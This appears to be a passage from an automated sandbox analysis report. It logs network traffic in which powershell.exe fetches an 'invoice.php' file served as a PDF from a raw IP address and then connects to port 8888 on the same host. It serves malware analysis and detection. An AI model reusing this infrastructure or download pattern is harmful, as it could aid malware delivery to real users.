Jan 10, 2025 18:11:32.328095913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328110933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328125000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328125954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.328140974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328154087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.328156948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328171968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328180075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.328193903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328207016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.328208923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328222990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328238010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328250885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.328250885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328265905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328279018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328282118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.328298092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328344107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.328344107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.360446930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360471010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360486984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360502005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360521078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360526085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.360537052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360546112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.360565901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360579967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.360582113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360599995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360615969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360625982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.360630035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360644102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360654116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.360658884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360676050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.360702991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.360739946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.371304989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.371337891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.371351004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.371364117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.371376038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.371381044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.371387959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.371401072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.371406078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.371445894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.387135029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.387154102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.387175083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.387187004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.387193918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.387197971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.387209892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.387211084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.387223005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.387233019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.387247086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.387264967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.387286901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.398200035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398224115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398236990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398247957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398261070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398273945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398276091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.398286104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398298025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398344040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.398344040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.398628950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398643017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398653984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398680925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.398715973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398734093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398746014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398756027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.398757935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398771048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398785114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.398807049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.398936987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398953915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398967981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.398991108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399003983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399014950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399023056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399039984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399055004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399054050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399054050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399085045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399089098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399104118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399116039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399118900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399135113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399166107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399174929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399188042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399203062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399218082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399233103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399235964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399269104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399329901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399344921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399370909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399373055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399384022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399398088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399409056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399410009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399425030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399442911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399471045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399499893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399518013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399532080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399549007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399560928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399560928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399579048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399589062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399590015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399617910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399740934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399753094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399764061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399785042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399801016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399818897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399832964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399843931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399854898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399874926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399883986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399893999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399899006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399910927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399924040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.399925947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.399969101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.400082111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400093079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400104046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400124073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.400135040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400147915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400162935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400171041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.400177002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400207043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.400219917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400234938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400259018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.400274992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400285959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400298119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400309086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400316954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.400319099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.400341988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.400369883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.418437958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418469906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418482065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418500900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418513060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418512106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.418524981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418538094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418554068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.418555975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418567896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418581009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418606997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.418611050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418622017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418622017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.418633938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418647051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.418657064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.418689966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.446940899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.446973085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.446984053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447001934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447012901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447020054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.447031021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447046995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447062016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447072029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.447112083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.447156906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447170973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447182894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447205067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.447235107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447251081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447274923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447278023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.447290897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447305918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.447321892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.447348118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.471812963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.471843004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.471858978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.471884012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.471885920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.471894026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.471909046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.471920967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.471930981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.471950054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.478591919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.478610992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.478626013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.478642941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.478657007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.478658915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.478672981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.478688002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.478688955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.478708029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.478720903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.478735924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.478761911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.488874912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.488900900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.488913059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.488925934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.488943100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.488960981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.488970995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.488972902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.488986015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489023924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.489269972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489296913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489312887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489324093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.489339113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489355087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489356041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.489370108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489396095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.489442110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489468098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489490032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.489491940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489506960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489523888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489537001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.489540100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.489566088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.530284882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.566839933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.952353001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:33.646953106 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:33.651793957 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:33.651869059 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:33.652029991 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:33.656826019 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:34.447468996 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:34.499073029 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:34.975459099 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:11:43.308006048 CET	54484	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:11:43.308006048 CET	192.168.2.8	1.1.1.1	0xe32b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:11:42.422816992 CET	1.1.1.1	192.168.2.8	0x51ae	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:11:42.422816992 CET	1.1.1.1	192.168.2.8	0x51ae	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:11:43.316386938 CET	1.1.1.1	192.168.2.8	0xe32b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	3796	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:11:30.923597097 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:11:31.732347965 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:11:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:11:31.732367039 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
